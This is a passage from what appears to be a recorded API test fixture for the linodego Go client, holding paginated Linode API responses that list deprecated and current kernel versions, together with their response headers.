"2.6.29", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-linode17", "label": "2.6.28.3-linode17", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode16", "label": "2.6.18.8-linode16", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-linode15", "label": "2.6.28-linode15", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-linode14", "label": "2.6.27.4-linode14", "version": "2.6.27", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.26-linode13", "label": "2.6.26-linode13", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25.10-linode12", "label": "2.6.25.10-linode12", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode10", "label": "2.6.18.8-linode10", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25-linode9", "label": "2.6.25-linode9", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.24.4-linode8", "label": "2.6.24.4-linode8", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-domU-linode7", "label": "2.6.18.8-domU-linode7", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.0.2-x86_64-linode157)", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 2, "pages": 4, "results": 318}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: body: '{"data": [{"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", "version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118", "label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86_64-linode117", "label": "4.18.8-x86_64-linode117", "version": "4.18.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86_64-linode116", "label": "4.17.17-x86_64-linode116", "version": "4.17.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86_64-linode115", "label": "4.17.15-x86_64-linode115", "version": "4.17.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode114", "label": "4.17.14-x86_64-linode114", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode113", "label": "4.17.14-x86_64-linode113", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86_64-linode112", "label": "4.17.12-x86_64-linode112", "version": "4.17.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86_64-linode111", "label": "4.17.11-x86_64-linode111", "version": "4.17.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86_64-linode110", "label": "4.17.8-x86_64-linode110", "version": "4.17.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86_64-linode109", "label": "4.17.2-x86_64-linode109", "version": "4.17.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86_64-linode108", "label": "4.16.11-x86_64-linode108", "version": "4.16.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86_64-linode107", "label": "4.15.18-x86_64-linode107", "version": "4.15.18", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86_64-linode106", "label": "4.15.13-x86_64-linode106", "version": "4.15.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86_64-linode105", "label": "4.15.12-x86_64-linode105", "version": "4.15.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86_64-linode104", "label": "4.15.10-x86_64-linode104", "version": "4.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86_64-linode103", "label": "4.15.8-x86_64-linode103", "version": "4.15.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86_64-linode102", "label": "4.15.7-x86_64-linode102", "version": "4.15.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86_64-linode100", "label": "4.14.19-x86_64-linode100", "version": "4.14.19", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86_64-linode99", "label": "4.14.17-x86_64-linode99", "version": "4.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86_64-linode98", "label": "4.9.80-x86_64-linode98", "version": "4.9.80", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86_64-linode97", "label": "4.4.115-x86_64-linode97", "version": "4.4.115", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86_64-linode96", "label": "4.4.113-x86_64-linode96", "version": "4.4.113", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86_64-linode95", "label": "4.9.78-x86_64-linode95", "version": "4.9.78", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode94", "label": "4.14.14-x86_64-linode94", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode93", "label": "4.14.14-x86_64-linode93", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86_64-linode88", "label": "4.9.64-x86_64-linode88", "version": "4.9.64", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86_64-linode89", "label": "4.9.68-x86_64-linode89", "version": "4.9.68", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86_64-linode92", "label": "4.14.12-x86_64-linode92", "version": "4.14.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86_64-linode91", "label": "4.14.11-x86_64-linode91", "version": "4.14.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86_64-linode87", "label": "4.9.56-x86_64-linode87", "version": "4.9.56", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86_64-linode86", "label": "4.9.50-x86_64-linode86", "version": "4.9.50", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86_64-linode85", "label": "4.9.36-x86_64-linode85", "version": "4.9.36", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86_64-linode83", "label": "4.9.33-x86_64-linode83", "version": "4.9.33", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86_64-linode81", "label": "4.9.15-x86_64-linode81", "version": "4.9.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86_64-linode80", "label": "4.9.7-x86_64-linode80", "version": "4.9.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86_64-linode79", "label": "4.9.0-x86_64-linode79", "version": "4.9.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86_64-linode78", "label": "4.8.6-x86_64-linode78", "version": "4.8.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86_64-linode77", "label": "4.8.4-x86_64-linode77", "version": "4.8.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86_64-linode76", "label": "4.8.3-x86_64-linode76", "version": "4.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86_64-linode75", "label": "4.8.1-x86_64-linode75", "version": "4.8.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86_64-linode73", "label": "4.7.3-x86_64-linode73", "version": "4.7.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86_64-linode72", "label": "4.7.0-x86_64-linode72", "version": "4.7.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86_64-linode71", "label": "4.6.5-x86_64-linode71", "version": "4.6.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.3-x86_64-linode70", "label": "4.6.3-x86_64-linode70", "version": "4.6.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86_64-linode69", "label": "4.5.5-x86_64-linode69", "version": "4.5.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86_64-linode67", "label": "4.5.3-x86_64-linode67", "version": "4.5.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86_64-linode65", "label": "4.5.0-x86_64-linode65", "version": "4.5.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86_64-linode64", "label": "4.4.4-x86_64-linode64", "version": "4.4.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86_64-linode63", "label": "4.4.0-x86_64-linode63", "version": "4.4.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode61", "label": "4.1.5-x86_64-linode61", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode60", "label": "4.1.5-x86_64-linode60 ", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86_64-linode59", "label": "4.1.0-x86_64-linode59 ", "version": "4.1.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86_64-linode58", "label": "4.0.5-x86_64-linode58", "version": "4.0.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86_64-linode57", "label": "4.0.4-x86_64-linode57", "version": "4.0.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86_64-linode56", "label": "4.0.2-x86_64-linode56", "version": "4.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.1-x86_64-linode55", "label": "4.0.1-x86_64-linode55", "version": "4.0.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86_64-linode54", "label": "4.0-x86_64-linode54", "version": "4.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86_64-linode53", "label": "3.19.1-x86_64-linode53", "version": "3.19.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86_64-linode52", "label": "3.18.5-x86_64-linode52", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86_64-linode51", "label": "3.18.3-x86_64-linode51", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86_64-linode50", "label": "3.18.1-x86_64-linode50", "version": "3.18.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86_64-linode49", "label": "3.16.7-x86_64-linode49", "version": "3.16.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86_64-linode46", "label": "3.16.5-x86_64-linode46", "version": "3.16.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86_64-linode45", "label": "3.15.4-x86_64-linode45", "version": "3.15.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86_64-linode44", "label": "3.15.3-x86_64-linode44", "version": "3.15.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86_64-linode43", "label": "3.15.2-x86_64-linode43", "version": "3.15.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode42", "label": "3.14.5-x86_64-linode42", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode41", "label": "3.14.5-x86_64-linode41", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86_64-linode40", "label": "3.14.4-x86_64-linode40", "version": "3.14.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86_64-linode39", "label": "3.14.1-x86_64-linode39", "version": "3.14.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86_64-linode38", "label": "3.13.7-x86_64-linode38", "version": "3.13.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86_64-linode37", "label": "3.12.9-x86_64-linode37", "version": "3.12.9", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86_64-linode36", "label": "3.12.6-x86_64-linode36", "version": "3.12.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86_64-linode35", "label": "3.11.6-x86_64-linode35", "version": "3.11.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86_64-linode34", "label": "3.10.3-x86_64-linode34", "version": "3.10.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86_64-linode33", "label": "3.9.3-x86_64-linode33", "version": "3.9.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86_64-linode32", "label": "3.9.2-x86_64-linode32", "version": "3.9.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-x86_64-linode31", "label": "3.8.4-x86_64-linode31", "version": "3.8.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-x86_64-linode30", "label": "3.7.10-x86_64-linode30", "version": "3.7.10", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-x86_64-linode29", "label": "3.7.5-x86_64-linode29", "version": "3.7.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-x86_64-linode28", "label": "3.6.5-x86_64-linode28", "version": "3.6.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-x86_64-linode27", "label": "3.5.3-x86_64-linode27", "version": "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 3, "pages": 4, "results": 318}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: body: '{"data": [{"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-x86_64-linode6", "label": "2.6.29-x86_64-linode6", "version": "2.6.29", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-x86_64-linode5", "label": "2.6.28.3-x86_64-linode5", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-x86_64-linode4", "label": "2.6.28-x86_64-linode4", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": 